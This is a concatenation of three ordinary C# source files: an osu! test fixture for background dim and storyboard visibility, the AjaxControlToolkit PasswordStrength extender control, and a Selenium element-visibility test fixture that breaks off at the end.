public void TestStoryboardBackgroundVisibility()
{
performFullSetup();
AddAssert("Background retained from song select", () => songSelect.IsBackgroundCurrent());
createFakeStoryboard();
AddStep("Enable Storyboard", () =>
{
player.ReplacesBackground.Value = true;
player.StoryboardEnabled.Value = true;
});
AddUntilStep("Background is invisible, storyboard is visible", () => songSelect.IsBackgroundInvisible() && player.IsStoryboardVisible);
AddStep("Disable Storyboard", () =>
{
player.ReplacesBackground.Value = false;
player.StoryboardEnabled.Value = false;
});
AddUntilStep("Background is visible, storyboard is invisible", () => songSelect.IsBackgroundVisible() && !player.IsStoryboardVisible);
}
/// <summary>
/// When exiting player, the screen that it suspends/exits to needs to have a fully visible (Alpha == 1) background.
/// </summary>
[Test]
public void TestStoryboardTransition()
{
performFullSetup();
createFakeStoryboard();
AddStep("Exit to song select", () => player.Exit());
AddUntilStep("Background is visible", () => songSelect.IsBackgroundVisible());
}
/// <summary>
/// Ensure <see cref="UserDimContainer"/> is properly accepting user-defined visual changes for a background.
/// </summary>
[Test]
public void TestDisableUserDimBackground()
{
performFullSetup();
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
AddStep("Disable user dim", () => songSelect.IgnoreUserSettings.Value = true);
AddUntilStep("Screen is undimmed and user blur removed", () => songSelect.IsBackgroundUndimmed() && songSelect.IsUserBlurDisabled());
AddStep("Enable user dim", () => songSelect.IgnoreUserSettings.Value = false);
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
}
/// <summary>
/// Ensure <see cref="UserDimContainer"/> is properly accepting user-defined visual changes for a storyboard.
/// </summary>
[Test]
public void TestDisableUserDimStoryboard()
{
performFullSetup();
createFakeStoryboard();
AddStep("Enable Storyboard", () =>
{
player.ReplacesBackground.Value = true;
player.StoryboardEnabled.Value = true;
});
AddStep("Enable user dim", () => player.DimmableStoryboard.IgnoreUserSettings.Value = false);
AddStep("Set dim level to 1", () => songSelect.DimLevel.Value = 1f);
AddUntilStep("Storyboard is invisible", () => !player.IsStoryboardVisible);
AddStep("Disable user dim", () => player.DimmableStoryboard.IgnoreUserSettings.Value = true);
AddUntilStep("Storyboard is visible", () => player.IsStoryboardVisible);
}
[Test]
public void TestStoryboardIgnoreUserSettings()
{
performFullSetup();
createFakeStoryboard();
AddStep("Enable replacing background", () => player.ReplacesBackground.Value = true);
AddUntilStep("Storyboard is invisible", () => !player.IsStoryboardVisible);
AddUntilStep("Background is visible", () => songSelect.IsBackgroundVisible());
AddStep("Ignore user settings", () =>
{
player.ApplyToBackground(b => b.IgnoreUserSettings.Value = true);
player.DimmableStoryboard.IgnoreUserSettings.Value = true;
});
AddUntilStep("Storyboard is visible", () => player.IsStoryboardVisible);
AddUntilStep("Background is invisible", () => songSelect.IsBackgroundInvisible());
AddStep("Disable background replacement", () => player.ReplacesBackground.Value = false);
AddUntilStep("Storyboard is visible", () => player.IsStoryboardVisible);
AddUntilStep("Background is visible", () => songSelect.IsBackgroundVisible());
}
/// <summary>
/// Check if the visual settings container retains dim and blur when pausing
/// </summary>
[Test]
public void TestPause()
{
performFullSetup(true);
AddStep("Pause", () => player.Pause());
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
AddStep("Unpause", () => player.Resume());
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
}
/// <summary>
/// Check if the visual settings container removes user dim when suspending <see cref="Player"/> for <see cref="ResultsScreen"/>
/// </summary>
[Test]
public void TestTransition()
{
performFullSetup();
FadeAccessibleResults results = null;
AddStep("Transition to Results", () => player.Push(results = new FadeAccessibleResults(TestResources.CreateTestScoreInfo())));
AddUntilStep("Wait for results is current", () => results.IsCurrentScreen());
AddUntilStep("Screen is undimmed, original background retained", () =>
songSelect.IsBackgroundUndimmed() && songSelect.IsBackgroundCurrent() && songSelect.CheckBackgroundBlur(results.ExpectedBackgroundBlur));
}
/// <summary>
/// Check if hovering on the visual settings dialogue after resuming from player still previews the background dim.
/// </summary>
[Test]
public void TestResumeFromPlayer()
{
performFullSetup();
AddStep("Move mouse to Visual Settings", () => InputManager.MoveMouseTo(playerLoader.VisualSettingsPos));
AddStep("Resume PlayerLoader", () => player.Restart());
AddUntilStep("Screen is dimmed and blur applied", () => songSelect.IsBackgroundDimmed() && songSelect.IsUserBlurApplied());
AddStep("Move mouse to center of screen", () => InputManager.MoveMouseTo(playerLoader.ScreenPos));
AddUntilStep("Screen is undimmed and user blur removed", () => songSelect.IsBackgroundUndimmed() && songSelect.CheckBackgroundBlur(playerLoader.ExpectedBackgroundBlur));
}
private void createFakeStoryboard() => AddStep("Create storyboard", () =>
{
player.StoryboardEnabled.Value = false;
player.ReplacesBackground.Value = false;
player.DimmableStoryboard.Add(new OsuSpriteText
{
Size = new Vector2(500, 50),
Alpha = 1,
Colour = Color4.White,
Anchor = Anchor.Centre,
Origin = Anchor.Centre,
Text = "THIS IS A STORYBOARD",
Font = new FontUsage(size: 50)
});
});
private void performFullSetup(bool allowPause = false)
{
setupUserSettings();
AddStep("Start player loader", () => songSelect.Push(playerLoader = new TestPlayerLoader(player = new LoadBlockingTestPlayer(allowPause))));
AddUntilStep("Wait for Player Loader to load", () => playerLoader.IsLoaded);
AddStep("Move mouse to center of screen", () => InputManager.MoveMouseTo(playerLoader.ScreenPos));
AddUntilStep("Wait for player to load", () => player.IsLoaded);
}
private void setupUserSettings()
{
AddUntilStep("Song select is current", () => songSelect.IsCurrentScreen());
AddUntilStep("Song select has selection", () => songSelect.Carousel?.SelectedBeatmapInfo != null);
AddStep("Set default user settings", () =>
{
SelectedMods.Value = SelectedMods.Value.Concat(new[] { new OsuModNoFail() }).ToArray();
songSelect.DimLevel.Value = 0.7f;
songSelect.BlurLevel.Value = 0.4f;
});
}
protected override void Dispose(bool isDisposing)
{
base.Dispose(isDisposing);
rulesets?.Dispose();
}
private class DummySongSelect : PlaySongSelect
{
private FadeAccessibleBackground background;
protected override BackgroundScreen CreateBackground()
{
background = new FadeAccessibleBackground(Beatmap.Value);
IgnoreUserSettings.BindTo(background.IgnoreUserSettings);
return background;
}
public readonly Bindable<bool> IgnoreUserSettings = new Bindable<bool>();
public readonly Bindable<double> DimLevel = new BindableDouble();
public readonly Bindable<double> BlurLevel = new BindableDouble();
public new BeatmapCarousel Carousel => base.Carousel;
[BackgroundDependencyLoader]
private void load(OsuConfigManager config)
{
config.BindWith(OsuSetting.DimLevel, DimLevel);
config.BindWith(OsuSetting.BlurLevel, BlurLevel);
}
public bool IsBackgroundDimmed() => background.CurrentColour == OsuColour.Gray(1f - background.CurrentDim);
public bool IsBackgroundUndimmed() => background.CurrentColour == Color4.White;
public bool IsUserBlurApplied() => Precision.AlmostEquals(background.CurrentBlur, new Vector2((float)BlurLevel.Value * BackgroundScreenBeatmap.USER_BLUR_FACTOR), 0.1f);
public bool IsUserBlurDisabled() => background.CurrentBlur == new Vector2(0);
public bool IsBackgroundInvisible() => background.CurrentAlpha == 0;
public bool IsBackgroundVisible() => background.CurrentAlpha == 1;
public bool IsBackgroundBlur() => Precision.AlmostEquals(background.CurrentBlur, new Vector2(BACKGROUND_BLUR), 0.1f);
public bool CheckBackgroundBlur(Vector2 expected) => Precision.AlmostEquals(background.CurrentBlur, expected, 0.1f);
/// <summary>
/// Make sure every time a screen gets pushed, the background doesn't get replaced
/// </summary>
/// <returns>Whether or not the original background (The one created in DummySongSelect) is still the current background</returns>
public bool IsBackgroundCurrent() => background?.IsCurrentScreen() == true;
}
private class FadeAccessibleResults : ResultsScreen
{
public FadeAccessibleResults(ScoreInfo score)
: base(score, true)
{
}
protected override BackgroundScreen CreateBackground() => new FadeAccessibleBackground(Beatmap.Value);
public Vector2 ExpectedBackgroundBlur => new Vector2(BACKGROUND_BLUR);
}
private class LoadBlockingTestPlayer : TestPlayer
{
protected override BackgroundScreen CreateBackground() =>
new FadeAccessibleBackground(Beatmap.Value);
public override void OnEntering(IScreen last)
{
base.OnEntering(last);
ApplyToBackground(b => ReplacesBackground.BindTo(b.StoryboardReplacesBackground));
}
public new DimmableStoryboard DimmableStoryboard => base.DimmableStoryboard;
// Whether or not the player should be allowed to load.
public bool BlockLoad;
public Bindable<bool> StoryboardEnabled;
public readonly Bindable<bool> ReplacesBackground = new Bindable<bool>();
public readonly Bindable<bool> IsPaused = new Bindable<bool>();
public LoadBlockingTestPlayer(bool allowPause = true)
: base(allowPause)
{
}
public bool IsStoryboardVisible => DimmableStoryboard.ContentDisplayed;
[BackgroundDependencyLoader]
private void load(OsuConfigManager config, CancellationToken token)
{
while (BlockLoad && !token.IsCancellationRequested)
Thread.Sleep(1);
if (!LoadedBeatmapSuccessfully)
return;
StoryboardEnabled = config.GetBindable<bool>(OsuSetting.ShowStoryboard);
DrawableRuleset.IsPaused.BindTo(IsPaused);
}
}
private class TestPlayerLoader : PlayerLoader
{
private FadeAccessibleBackground background;
public VisualSettings VisualSettingsPos => VisualSettings;
public BackgroundScreen ScreenPos => background;
public TestPlayerLoader(Player player)
: base(() => player)
{
}
public void TriggerOnHover() => OnHover(new HoverEvent(new InputState()));
public Vector2 ExpectedBackgroundBlur => new Vector2(BACKGROUND_BLUR);
protected override BackgroundScreen CreateBackground() => background = new FadeAccessibleBackground(Beatmap.Value);
}
private class FadeAccessibleBackground : BackgroundScreenBeatmap
{
protected override DimmableBackground CreateFadeContainer() => dimmable = new TestDimmableBackground { RelativeSizeAxes = Axes.Both };
public Color4 CurrentColour => dimmable.CurrentColour;
public float CurrentAlpha => dimmable.CurrentAlpha;
public float CurrentDim => dimmable.DimLevel;
public Vector2 CurrentBlur => Background?.BlurSigma ?? Vector2.Zero;
private TestDimmableBackground dimmable;
public FadeAccessibleBackground(WorkingBeatmap beatmap)
: base(beatmap)
{
}
}
private class TestDimmableBackground : BackgroundScreenBeatmap.DimmableBackground
{
public Color4 CurrentColour => Content.Colour;
public float CurrentAlpha => Content.Alpha;
public new float DimLevel => base.DimLevel;
}
}
}
| |
using AjaxControlToolkit.Design;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Globalization;
using System.Web.UI;
using System.Web.UI.WebControls;
namespace AjaxControlToolkit {
/// <summary>
/// PasswordStrength is an ASP.NET AJAX extender that can be attached to an ASP.NET TextBox control used for the entry of passwords.
/// The PasswordStrength extender shows the strength of the password in the TextBox and updates itself as a user types the password.
/// </summary>
[TargetControlType(typeof(TextBox))]
[Designer(typeof(PasswordStrengthExtenderDesigner))]
[ClientScriptResource("Sys.Extended.UI.PasswordStrengthExtenderBehavior", Constants.PasswordStrengthName)]
[RequiredScript(typeof(CommonToolkitScripts))]
[ToolboxBitmap(typeof(ToolboxIcons.Accessor), Constants.PasswordStrengthName + Constants.IconPostfix)]
public class PasswordStrength : ExtenderControlBase {
const string _txtPasswordCssClass = "TextCssClass";
const string _barBorderCssClass = "BarBorderCssClass";
const string _barIndicatorCssClass = "BarIndicatorCssClass";
const string _strengthIndicatorType = "StrengthIndicatorType";
const string _displayPosition = "DisplayPosition";
const string _prefixText = "PrefixText";
const string _txtDisplayIndicators = "TextStrengthDescriptions";
const string _strengthStyles = "StrengthStyles";
const int _txtIndicatorsMinCount = 2; // Minimum number of textual descriptions
const int _txtIndicatorsMaxCount = 10; // Maximum number of textual descriptions.
const char _txtIndicatorDelimiter = ';'; // Text indicators are delimited with a semi colon
const string _preferredPasswordLength = "PreferredPasswordLength";
const string _minPasswordNumerics = "MinimumNumericCharacters";
const string _minPasswordSymbols = "MinimumSymbolCharacters";
const string _requiresUpperLowerCase = "RequiresUpperAndLowerCaseCharacters";
const string _minLowerCaseChars = "MinimumLowerCaseCharacters";
const string _minUpperCaseChars = "MinimumUpperCaseCharacters";
const string _helpHandleCssClass = "HelpHandleCssClass";
const string _helphandlePosition = "HelpHandlePosition";
const string _helpStatusLabelID = "HelpStatusLabelID";
const string _calcWeightings = "CalculationWeightings";
const string _prefixTextDefault = "Strength: ";
/// <summary>
/// Preferred length of the password
/// </summary>
/// <remarks>
/// Passwords could be less than this amount but wont reach the 100% calculation
/// if less than this count. This is used to calculate 50% of the percentage strength of the password
/// Ideally, a password should be 20 characters in length to be a strong password.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(0)]
[ClientPropertyName("preferredPasswordLength")]
public int PreferredPasswordLength {
get { return GetPropertyValue(_preferredPasswordLength, 0); }
set { SetPropertyValue(_preferredPasswordLength, value); }
}
/// <summary>
/// Minimum number of numeric characters
/// </summary>
/// <remarks>
/// If there are less than this property, then the password is not
/// considered strong. If there are equal to or more than this value,
/// then this will contribute 15% to the overall password strength percentage value.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(0)]
[ClientPropertyName("minimumNumericCharacters")]
public int MinimumNumericCharacters {
get { return GetPropertyValue(_minPasswordNumerics, 0); }
set { SetPropertyValue(_minPasswordNumerics, value); }
}
/// <summary>
/// A CSS class applied to the help element used to display a dialog box describing password requirements
/// </summary>
/// <remarks>
/// This is used so that the user can click on this image and get a display
/// on what is required to make the password strong according to the current properties
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue("")]
[ClientPropertyName("helpHandleCssClass")]
public string HelpHandleCssClass {
get { return GetPropertyValue(_helpHandleCssClass, String.Empty); }
set { SetPropertyValue(_helpHandleCssClass, value); }
}
/// <summary>
/// Positioning of the help handle element relative to the target control
/// </summary>
[ExtenderControlProperty()]
[DefaultValue(DisplayPosition.AboveRight)]
[ClientPropertyName("helpHandlePosition")]
public DisplayPosition HelpHandlePosition {
get { return GetPropertyValue(_helphandlePosition, DisplayPosition.AboveRight); }
set { SetPropertyValue(_helphandlePosition, value); }
}
/// <summary>
/// Control ID of the label used to display help text
/// </summary>
[IDReferenceProperty(typeof(Label))]
[DefaultValue("")]
[ExtenderControlProperty()]
[ClientPropertyName("helpStatusLabelID")]
public string HelpStatusLabelID {
get { return GetPropertyValue(_helpStatusLabelID, String.Empty); }
set { SetPropertyValue(_helpStatusLabelID, value); }
}
/// <summary>
/// Minimum number of symbol characters (ex. $ ^ *)
/// </summary>
/// <remarks>
/// If there are less than this property, then the password is not considered strong.
/// If there are equal to or more than this value, then this will contribute 15% to the overall
/// password strength percentage value.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(0)]
[ClientPropertyName("minimumSymbolCharacters")]
public int MinimumSymbolCharacters {
get { return GetPropertyValue(_minPasswordSymbols, 0); }
set { SetPropertyValue(_minPasswordSymbols, value); }
}
/// <summary>
/// Specifies whether mixed case characters are required
/// </summary>
/// <remarks>
/// Determines if mixed case passwords are required to be considered strong.
/// If true, then there must be at least one occurrence of mixed case
/// (upper and lower) letters in the password to be considered strong. If there is,
/// this will contribute 20% to the overall password strength percentage value.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(false)]
[ClientPropertyName("requiresUpperAndLowerCaseCharacters")]
public bool RequiresUpperAndLowerCaseCharacters {
get { return GetPropertyValue(_requiresUpperLowerCase, false); }
set { SetPropertyValue(_requiresUpperLowerCase, value); }
}
/// <summary>
/// CSS class applied to the text display when StrengthIndicatorType=Text
/// </summary>
[DefaultValue(null)]
[ExtenderControlProperty()]
[ClientPropertyName("textCssClass")]
public string TextCssClass {
get { return GetPropertyValue(_txtPasswordCssClass, (string)null); }
set { SetPropertyValue(_txtPasswordCssClass, value); }
}
/// <summary>
/// A CSS class applied to the bar indicator's border when StrengthIndicatorType=BarIndicator
/// </summary>
[DefaultValue(null)]
[ExtenderControlProperty()]
[ClientPropertyName("barBorderCssClass")]
public string BarBorderCssClass {
get { return GetPropertyValue(_barBorderCssClass, (string)null); }
set { SetPropertyValue(_barBorderCssClass, value); }
}
/// <summary>
/// A CSS class applied to the bar indicator's inner bar when StrengthIndicatorType=BarIndicator
/// </summary>
[DefaultValue(null)]
[ExtenderControlProperty()]
[ClientPropertyName("barIndicatorCssClass")]
public string BarIndicatorCssClass {
get { return GetPropertyValue(_barIndicatorCssClass, (string)null); }
set { SetPropertyValue(_barIndicatorCssClass, value); }
}
/// <summary>
/// Text prefixed to the display text when StrengthIndicatorType=Text
/// </summary>
[DefaultValue(_prefixTextDefault)]
[ExtenderControlProperty()]
[ClientPropertyName("prefixText")]
public string PrefixText {
get { return GetPropertyValue(_prefixText, _prefixTextDefault); }
set { SetPropertyValue(_prefixText, value); }
}
/// <summary>
/// Positioning of the strength indicator relative to the target control
/// </summary>
[DefaultValue(DisplayPosition.RightSide)]
[ExtenderControlProperty()]
[ClientPropertyName("displayPosition")]
public DisplayPosition DisplayPosition {
get { return GetPropertyValue(_displayPosition, DisplayPosition.RightSide); }
set { SetPropertyValue(_displayPosition, value); }
}
/// <summary>
/// Strength indicator type (Text or BarIndicator)
/// </summary>
/// <remarks>
/// BarIndicator - progress bar indicating password strength
/// Text - low, medium, high or excellent
/// </remarks>
[DefaultValue(StrengthIndicatorTypes.Text)]
[ExtenderControlProperty()]
[ClientPropertyName("strengthIndicatorType")]
public StrengthIndicatorTypes StrengthIndicatorType {
get { return GetPropertyValue(_strengthIndicatorType, StrengthIndicatorTypes.Text); }
set { SetPropertyValue(_strengthIndicatorType, value); }
}
/// <summary>
/// A list of semi-colon separated numeric values used to determine the weight of password strength's characteristic.
/// </summary>
/// <remarks>
/// There must be 4 values specified which must total 100.
/// The default weighting values are defined as 50;15;15;20.
/// This corresponds to password length is 50% of the strength calculation,
/// Numeric criteria is 15% of strength calculation, casing criteria is 15% of calculation,
/// and symbol criteria is 20% of calculation. So the format is 'A;B;C;D'
/// where A = length weighting, B = numeric weighting, C = casing weighting, D = symbol weighting.
/// </remarks>
[DefaultValue("")]
[ExtenderControlProperty()]
[ClientPropertyName("calculationWeightings")]
public string CalculationWeightings {
get { return GetPropertyValue(_calcWeightings, String.Empty); }
set {
if(String.IsNullOrEmpty(value))
SetPropertyValue(_calcWeightings, value);
else {
var total = 0;
if(value != null) {
var tmpList = value.Split(';');
foreach(var val in tmpList) {
int tmpVal;
if(Int32.TryParse(val, NumberStyles.Integer, CultureInfo.InvariantCulture, out tmpVal))
total += tmpVal;
}
}
if(total == 100)
SetPropertyValue(_calcWeightings, value);
else
throw new ArgumentException("There must be 4 Calculation Weighting items which must total 100");
}
}
}
/// <summary>
/// List of semi-colon separated descriptions used when StrengthIndicatorType=Text
/// (Minimum of 2, maximum of 10; order is weakest to strongest)
/// </summary>
/// <remarks>
/// Example: None;Weak;Medium;Strong;Excellent
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue("")]
[ClientPropertyName("textStrengthDescriptions")]
public string TextStrengthDescriptions {
get { return GetPropertyValue(_txtDisplayIndicators, String.Empty); }
set {
var valid = false;
if(!String.IsNullOrEmpty(value)) {
var txtItems = value.Split(_txtIndicatorDelimiter);
if(txtItems.Length >= _txtIndicatorsMinCount && txtItems.Length <= _txtIndicatorsMaxCount)
valid = true;
}
if(valid)
SetPropertyValue(_txtDisplayIndicators, value);
else {
var msg = String.Format(CultureInfo.CurrentCulture, "Invalid property specification for TextStrengthDescriptions property. Must be a string delimited with '{0}', contain a minimum of {1} entries, and a maximum of {2}.", _txtIndicatorDelimiter, _txtIndicatorsMinCount, _txtIndicatorsMaxCount);
throw new ArgumentException(msg);
}
}
}
/// <summary>
/// List of semi-colon separated CSS classes that are used depending on the password's strength.
/// </summary>
/// <remarks>
/// This property will override the BarIndicatorCssClass / TextIndicatorCssClass property if present.
/// The BarIndicatorCssClass / TextIndicatorCssClass property differs in that it attributes one
/// CSS style to the BarIndicator or Text Strength indicator (depending on which type is chosen)
/// regardless of password strength. This property will cause the style to change based on the password
/// strength and also to the number of styles specified in this property. For example, if 2 styles are
/// defined like StrengthStyles="style1;style2" then style1 is applied when the password strength is less
/// than 50%, and style2 is applied when password strength is >= 50%. This property can have up to 10 styles.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue("")]
[ClientPropertyName("strengthStyles")]
public string StrengthStyles {
get { return GetPropertyValue(_strengthStyles, String.Empty); }
set {
var valid = false;
if(!String.IsNullOrEmpty(value)) {
var styleItems = value.Split(_txtIndicatorDelimiter);
if(styleItems.Length <= _txtIndicatorsMaxCount) {
valid = true;
}
}
if(valid)
SetPropertyValue(_strengthStyles, value);
else {
var msg = String.Format(CultureInfo.CurrentCulture, "Invalid property specification for TextStrengthDescriptionStyles property. Must match the number of entries for the TextStrengthDescriptions property.");
throw new ArgumentException(msg);
}
}
}
/// <summary>
/// A minimum number of lowercase characters required when requiring
/// mixed case characters as part of your password strength considerations
/// </summary>
/// <remarks>
/// Only in effect if RequiresUpperAndLowerCaseCharacters property is true.
/// The default value is 0 which means this property is not in effect and
/// there is no minimum limit.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(0)]
[ClientPropertyName("minimumLowerCaseCharacters")]
public int MinimumLowerCaseCharacters {
get { return GetPropertyValue(_minLowerCaseChars, 0); }
set { SetPropertyValue(_minLowerCaseChars, value); }
}
/// <summary>
/// Minimum number of uppercase characters required when requiring mixed case
/// characters as part of your password strength considerations.
/// </summary>
/// <remarks>
/// Only in effect if RequiresUpperAndLowerCaseCharacters property is true.
/// The default value is 0 which means this property is not in effect and
/// there is no minimum limit.
/// </remarks>
[ExtenderControlProperty()]
[DefaultValue(0)]
[ClientPropertyName("minimumUpperCaseCharacters")]
public int MinimumUpperCaseCharacters {
get { return GetPropertyValue(_minUpperCaseChars, 0); }
set { SetPropertyValue(_minUpperCaseChars, value); }
}
/// <summary>
/// A semi-colon delimited string that specifies the styles applicable to each
/// string descriptions for the password strength when using a textual display
/// </summary>
/// <remarks>
/// Deprecated. Use StrengthStyles instead
/// </remarks>
[Obsolete("This property has been deprecated. Please use the StrengthStyles property instead.")]
[ExtenderControlProperty()]
[DefaultValue("")]
[Browsable(false)]
[EditorBrowsable(EditorBrowsableState.Never)]
public string TextStrengthDescriptionStyles {
get { return StrengthStyles; }
set { StrengthStyles = value; }
}
}
}
| |
using System;
using NUnit.Framework;
using System.Drawing;
using OpenQA.Selenium.Environment;
using System.Collections.ObjectModel;
namespace OpenQA.Selenium
{
[TestFixture]
public class VisibilityTest : DriverTestFixture
{
[Test]
[Category("Javascript")]
public void ShouldAllowTheUserToTellIfAnElementIsDisplayedOrNot()
{
driver.Url = javascriptPage;
Assert.IsTrue(driver.FindElement(By.Id("displayed")).Displayed);
Assert.IsFalse(driver.FindElement(By.Id("none")).Displayed);
Assert.IsFalse(driver.FindElement(By.Id("suppressedParagraph")).Displayed);
Assert.IsFalse(driver.FindElement(By.Id("hidden")).Displayed);
}
[Test]
[Category("Javascript")]
public void VisibilityShouldTakeIntoAccountParentVisibility()
{
driver.Url = javascriptPage;
IWebElement childDiv = driver.FindElement(By.Id("hiddenchild"));
IWebElement hiddenLink = driver.FindElement(By.Id("hiddenlink"));
Assert.IsFalse(childDiv.Displayed);
Assert.IsFalse(hiddenLink.Displayed);
}
[Test]
[Category("Javascript")]
public void ShouldCountElementsAsVisibleIfStylePropertyHasBeenSet()
{
driver.Url = javascriptPage;
IWebElement shown = driver.FindElement(By.Id("visibleSubElement"));
Assert.IsTrue(shown.Displayed);
}
[Test]
[Category("Javascript")]
public void ShouldModifyTheVisibilityOfAnElementDynamically()
{
driver.Url = javascriptPage;
IWebElement element = driver.FindElement(By.Id("hideMe"));
Assert.IsTrue(element.Displayed);
element.Click();
Assert.IsFalse(element.Displayed);
}
[Test]
[Category("Javascript")]
public void HiddenInputElementsAreNeverVisible()
{
driver.Url = javascriptPage;
IWebElement shown = driver.FindElement(By.Name("hidden"));
Assert.IsFalse(shown.Displayed);
}
[Test]
[Category("Javascript")]
public void ShouldNotBeAbleToClickOnAnElementThatIsNotDisplayed()
{
driver.Url = javascriptPage;
IWebElement element = driver.FindElement(By.Id("unclickable"));
Assert.Throws<ElementNotInteractableException>(() => element.Click());
}
[Test]
[Category("Javascript")]
public void ShouldNotBeAbleToTypeAnElementThatIsNotDisplayed()
{
driver.Url = javascriptPage;
IWebElement element = driver.FindElement(By.Id("unclickable"));
Assert.Throws<ElementNotInteractableException>(() => element.SendKeys("You don't see me"));
Assert.AreNotEqual(element.GetAttribute("value"), "You don't see me");
}
[Test]
[Category("Javascript")]
public void ShouldNotBeAbleToSelectAnElementThatIsNotDisplayed()
{
driver.Url = javascriptPage;
IWebElement element = driver.FindElement(By.Id("untogglable"));
Assert.Throws<ElementNotInteractableException>(() => element.Click());
}
[Test]
[Category("Javascript")]
public void ZeroSizedDivIsShownIfDescendantHasSize()
{
driver.Url = javascriptPage;
IWebElement element = driver.FindElement(By.Id("zero"));
Size size = element.Size;
Assert.AreEqual(0, size.Width, "Should have 0 width");
Assert.AreEqual(0, size.Height, "Should have 0 height");
Assert.IsTrue(element.Displayed);
}
[Test]
public void ParentNodeVisibleWhenAllChildrenAreAbsolutelyPositionedAndOverflowIsHidden()
{
String url = EnvironmentManager.Instance.UrlBuilder.WhereIs("visibility-css.html");
driver.Url = url;
IWebElement element = driver.FindElement(By.Id("suggest"));
Assert.IsTrue(element.Displayed);
}
[Test]
[IgnoreBrowser(Browser.Chrome)]
[IgnoreBrowser(Browser.HtmlUnit)]
[IgnoreBrowser(Browser.Opera)]
[IgnoreBrowser(Browser.PhantomJS)]
public void ElementHiddenByOverflowXIsNotVisible()
{
string[] pages = new string[]{
"overflow/x_hidden_y_hidden.html",
"overflow/x_hidden_y_scroll.html",
"overflow/x_hidden_y_auto.html",
};
foreach (string page in pages)
{
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs(page);
IWebElement right = driver.FindElement(By.Id("right"));
Assert.IsFalse(right.Displayed, "Failed for " + page);
IWebElement bottomRight = driver.FindElement(By.Id("bottom-right"));
Assert.IsFalse(bottomRight.Displayed, "Failed for " + page);
}
}
[Test]
[IgnoreBrowser(Browser.Chrome)]
[IgnoreBrowser(Browser.HtmlUnit)]
[IgnoreBrowser(Browser.Opera)]
[IgnoreBrowser(Browser.PhantomJS)]
public void ElementHiddenByOverflowYIsNotVisible()
{
string[] pages = new string[]{
"overflow/x_hidden_y_hidden.html",
"overflow/x_scroll_y_hidden.html",
"overflow/x_auto_y_hidden.html",
};
foreach (string page in pages)
{
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs(page);
IWebElement bottom = driver.FindElement(By.Id("bottom"));
Assert.IsFalse(bottom.Displayed, "Failed for " + page);
IWebElement bottomRight = driver.FindElement(By.Id("bottom-right"));
Assert.IsFalse(bottomRight.Displayed, "Failed for " + page);
}
}
[Test]
public void ElementScrollableByOverflowXIsVisible()
{
string[] pages = new string[]{
"overflow/x_scroll_y_hidden.html",
"overflow/x_scroll_y_scroll.html",
"overflow/x_scroll_y_auto.html",
"overflow/x_auto_y_hidden.html",
"overflow/x_auto_y_scroll.html",
"overflow/x_auto_y_auto.html",
};
foreach (string page in pages)
{
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs(page);
IWebElement right = driver.FindElement(By.Id("right"));
Assert.IsTrue(right.Displayed, "Failed for " + page);
}
}
[Test]
public void ElementScrollableByOverflowYIsVisible()
{
string[] pages = new string[]{
"overflow/x_hidden_y_scroll.html",
"overflow/x_scroll_y_scroll.html",
"overflow/x_auto_y_scroll.html",
"overflow/x_hidden_y_auto.html",
"overflow/x_scroll_y_auto.html",
"overflow/x_auto_y_auto.html",
};
foreach (string page in pages)
{
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs(page);
IWebElement bottom = driver.FindElement(By.Id("bottom"));
Assert.IsTrue(bottom.Displayed, "Failed for " + page);
}
}
[Test]
public void ElementScrollableByOverflowXAndYIsVisible()
{
string[] pages = new string[]{
"overflow/x_scroll_y_scroll.html",
"overflow/x_scroll_y_auto.html",
"overflow/x_auto_y_scroll.html",
"overflow/x_auto_y_auto.html",
};
foreach (string page in pages)
{
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs(page);
IWebElement bottomRight = driver.FindElement(By.Id("bottom-right"));
Assert.IsTrue(bottomRight.Displayed, "Failed for " + page);
}
}
[Test]
[IgnoreBrowser(Browser.Android)]
[IgnoreBrowser(Browser.IPhone)]
[IgnoreBrowser(Browser.Opera)]
public void tooSmallAWindowWithOverflowHiddenIsNotAProblem()
{
IWindow window = driver.Manage().Window;
Size originalSize = window.Size;
try
{
// Short in the Y dimension
window.Size = new Size(1024, 500);
driver.Url = EnvironmentManager.Instance.UrlBuilder.WhereIs("overflow-body.html");
IWebElement element = driver.FindElement(By.Name("resultsFrame"));
Assert.IsTrue(element.Displayed);
}
finally
{
window.Size = originalSize;
}
}
[Test]
[IgnoreBrowser(Browser.IE, "IE does not support the hidden attribute")]
[IgnoreBrowser(Browser.HtmlUnit)]
public void ShouldShowElementNotVisibleWithHiddenAttribute()
{
string url = EnvironmentManager.Instance.UrlBuilder.WhereIs("hidden.html");
driver.Url = url;
IWebElement element = driver.FindElement(By.Id("singleHidden"));
Assert.IsFalse(element.Displayed);
}
[Test]
[IgnoreBrowser(Browser.IE, "IE does not support the hidden attribute")]
[IgnoreBrowser(Browser.HtmlUnit)]
public void ShouldShowElementNotVisibleWhenParentElementHasHiddenAttribute()
{
string url = EnvironmentManager.Instance.UrlBuilder.WhereIs("hidden.html");
driver.Url = url;
IWebElement element = driver.FindElement(By.Id("child"));
Assert.IsFalse(element.Displayed);
}
[Test]
public void ShouldBeAbleToClickOnElementsWithOpacityZero()
{
if (TestUtilities.IsOldIE(driver))
{
return;
}
driver.Url = clickJackerPage;
IWebElement element = driver.FindElement(By.Id("clickJacker"));
Assert.AreEqual("0", element.GetCssValue("opacity"), "Precondition failed: clickJacker should be transparent");
element.Click();
Assert.AreEqual("1", element.GetCssValue("opacity"));
}
[Test]
[Category("JavaScript")]
